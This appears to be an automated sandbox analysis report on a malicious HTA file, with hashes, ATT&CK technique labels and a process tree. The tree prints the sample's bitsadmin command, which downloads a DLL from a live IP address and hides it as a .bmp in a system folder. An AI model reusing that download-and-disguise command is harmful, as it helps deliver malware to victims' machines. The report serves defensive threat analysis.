f36ddb2dbbac2348b96f9f72aba8c68a8fef0c59b7de160de7eaaf15ad23bd3f

Analysis

max time kernel
117s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
07/02/2023, 10:41

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General

Target
azienda_12.hta
Size 6KB
Sample230207-mq4kaaec71
SHA256 f36ddb2dbbac2348b96f9f72aba8c68a8fef0c59b7de160de7eaaf15ad23bd3f
MD5 65dd5351e432fb8393a9fdf138bf837d
SHA1 e6bb6cf97f25fca6b3b1ba7e7e6b7f785dd05e3f
SHA512 3ff1a2ace9529ff84795aab224ef99aaa131cfe3a617b00812c28e042fe09575b46e91ff2845808fa0422fe0395dec51964c9b20dde1e160a54bf2f69097c83d
SSDEEP 96:wbggLVTUoPg2pwTEeD4b7KdaO3iOaLt3M8Mn3XTPMJsb0ODcFE+Voq3V4dI96rK6:IU77rIKdn863jMM0OD9+VVF4GxikuL
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
5	1440	mshta.exe
7	1440	mshta.exe
10	1440	mshta.exe
12	1440	mshta.exe
15	1440	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
1348	bitsadmin.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1440 wrote to memory of 1348	1440	mshta.exe	82
PID 1440 wrote to memory of 1348	1440	mshta.exe	82
PID 1440 wrote to memory of 1348	1440	mshta.exe	82

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\azienda_12.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1440
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://62.173.147.3/azienda.dll C:\Windows\\System32\\LogFiles\\\login.bmp
  2⤵
  - Download via BitsAdmin
  PID:1348

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads